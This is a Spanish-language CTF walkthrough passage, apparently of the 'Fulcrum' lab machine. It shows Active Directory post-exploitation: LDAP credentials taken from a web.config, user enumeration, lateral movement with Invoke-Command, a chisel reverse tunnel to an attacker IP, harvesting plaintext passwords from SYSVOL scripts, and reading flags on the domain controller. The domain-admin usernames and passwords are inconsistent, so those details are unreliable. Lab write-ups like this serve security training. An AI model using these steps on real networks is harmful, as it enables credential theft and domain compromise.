En la cabecera del archivo podemos ver unas credenciales que se usan por LDAP al DC

1
2
3
4
5
6
7
8
9
10
<connectionStrings>
        <add connectionString="LDAP://dc.fulcrum.local/OU=People,DC=fulcrum,DC=local" name="ADServices" />
    </connectionStrings>
    <system.web>
        <membership defaultProvider="ADProvider">
            <providers>
                <add name="ADProvider" type="System.Web.Security.ActiveDirectoryMembershipProvider, System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" connectionStringName="ADConnString" connectionUsername="FULCRUM\LDAP" connectionPassword="PasswordForSearching123!" attributeMapUsername="SAMAccountName" />
            </providers>
        </membership>
    </system.web>

LDAP


Enumeraremos el dominio del Directorio Activo por LDAP

1
*Evil-WinRM* PS C:\Users\WebUser\Documents> $adsi = New-Object ADSI("LDAP://dc.fulcrum.local", "fulcrum\ldap", "PasswordForSearching123!")
1
*Evil-WinRM* PS C:\Users\WebUser\Documents> $searcher = New-Object ADSISearcher($adsi, "(&(objectClass=user))")

Ahora que tenemos las credenciales cargadas, enumeraremos el dominio

Ahora que nos funciona la enumeración, veremos las propiedades

Enumeración con PowerShell


Hay 8 usuarios en el Directorio Activo

1
2
*Evil-WinRM* PS C:\Users\WebUser\Documents> ($searcher.FindAll() | measure-object).count
8

Ahora dumpearemos todas las propiedades del usuario

Obtenemos las credenciales BTables:++FileServerLogon12345++

Administradores del dominio


Aprovechando que podemos enumerar el dominio por LDAP, enumeraremos los administradores del dominio, hay 2

Ejecución en FILE


Cargaremos las credenciales en memoria para invocar comandos en el equipo FILE

1
2
3
4
*Evil-WinRM* PS C:\> $btpass = ConvertTo-SecureString '++FileServerLogon12345++' -AsPlainText -Force
*Evil-WinRM* PS C:\> $btcred = New-Object System.Management.Automation.PSCredential('FULCRUM\btables', $btpass)
*Evil-WinRM* PS C:\> Invoke-Command -ComputerName file.fulcrum.local -Credential $btcred -ScriptBlock { whoami }
fulcrum\btables

Ahora que podemos ejecutar comandos, aprovecharé para leer la user flag

1
2
*Evil-WinRM* PS C:\> Invoke-Command -ComputerName file.fulcrum.local -Credential $btcred -ScriptBlock { cat \users\btables\Desktop\user.txt }
fce52521c8f872b514f037fada78daf4

Subiremos el chisel en el webserver para hacer que el puerto 5985 de la máquina FILE sea el puerto 5985 de nuestra máquina atacante.

1
*Evil-WinRM* PS C:\Users\WebUser\Documents> .\chisel.exe client 10.10.14.12:1234 R:5985:192.168.122.132:5985

Ahora nos conectaremos con Evil-WinRM en la máquina FILE

1
2
3
4
5
6
7
8
9
10
❯ evil-winrm -i 127.0.0.1 -u btables -p '++FileServerLogon12345++'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\BTables\Documents> 

Consola como 932a (DC)


Enumeración


FILE


Enumeraremos los archivos compartidos a nivel de red

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\BTables\Documents> Get-SMBShare

Name   ScopeName Path Description
----   --------- ---- -----------
ADMIN$ *              Remote Admin
C$     *              Default share
IPC$   *              Remote IPC

DC


Usaremos el recurso IPC$ del DC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
*Evil-WinRM* PS C:\Users\BTables\Documents> net use \\dc.fulcrum.local\IPC$ /user:fulcrum\btables ++FileServerLogon12345++ 
The command completed successfully.

*Evil-WinRM* PS C:\Users\BTables\Documents> net view \\dc.fulcrum.local
Shared resources at \\dc.fulcrum.local



Share name  Type  Used as  Comment

-------------------------------------------------------------------------------
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

Listaremos los archivos que hay en el recurso sysvol

Todos los archivos parecn tener credenciales (usuario y contraseña) y son todos diferentes.

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\BTables\Documents> cat \\dc.fulcrum.local\sysvol\fulcrum.local\scripts\00034421-648d-4835-9b23-c0d315d71ba3.ps1
# Map network drive v1.0
$User = 'be36'
$Pass = '@fulcrum_43bd6d26c168_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred

Como antes vimos que el usuario 932a es Administrador de Dominio, buscaremos por sus credenciales

1
2
3
4
 *Evil-WinRM* PS C:\> Select-String -Path "\\dc.fulcrum.local\sysvol\fulcrum.local\scripts\*.ps1" -Pattern Administrator 
 *Evil-WinRM* PS C:\> Select-String -Path "\\dc.fulcrum.local\sysvol\fulcrum.local\scripts\*.ps1" -Pattern 923a
 \\dc.fulcrum.local\sysvol\fulcrum.local\scripts\3807dacb-db2a-4627-b2a3-123d048590e7.ps1:3:$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force
 \\dc.fulcrum.local\sysvol\fulcrum.local\scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1:2:$User = '923a'

El archivo \\dc.fulcrum.local\sysvol\fulcrum.local\scripts\a1a41e90-147b-44c9-97d7-c9abb5ec0e2a.ps1 tiene las credenciales del usuario 932a

1
2
3
4
5
6
*Evil-WinRM* PS C:\Users\BTables\Documents> cat \\dc.fulcrum.local\sysvol\fulcrum.local\scripts\3807dacb-db2a-4627-b2a3-123d048590e7.ps1
# Map network drive v1.0
$User = '9f68'
$Pass = '@fulcrum_df0923a7ca40_$' | ConvertTo-SecureString -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential ($User, $Pass)
New-PSDrive -Name '\\file.fulcrum.local\global\' -PSProvider FileSystem -Root '\\file.fulcrum.local\global\' -Persist -Credential $Cred

Leer la flag


Ahora que tenemos credenciales válidas, podremos ejecutar comandos en el DC, leeremos la flag del usuario Administrador

1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\BTables\Documents> $pass = ConvertTo-SecureString '@fulcrum_bf392748ef4e_$' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\BTables\Documents> $cred = New-Object System.Management.Automation.PSCredential('FULCRUM\923a', $pass)
*Evil-WinRM* PS C:\Users\BTables\Documents> Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { whoami ; hostname }
fulcrum\923a
DC
*Evil-WinRM* PS C:\Users\BTables\Documents> Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { cat \users\administrator\desktop\root.txt }
8ddbe372e57c019bb6c4cdb5b35a0cab
*Evil-WinRM* PS C:\Users\BTables\Documents> 
Esta entrada está licenciada bajo CC BY 4.0 por el autor.

Etiquetas populares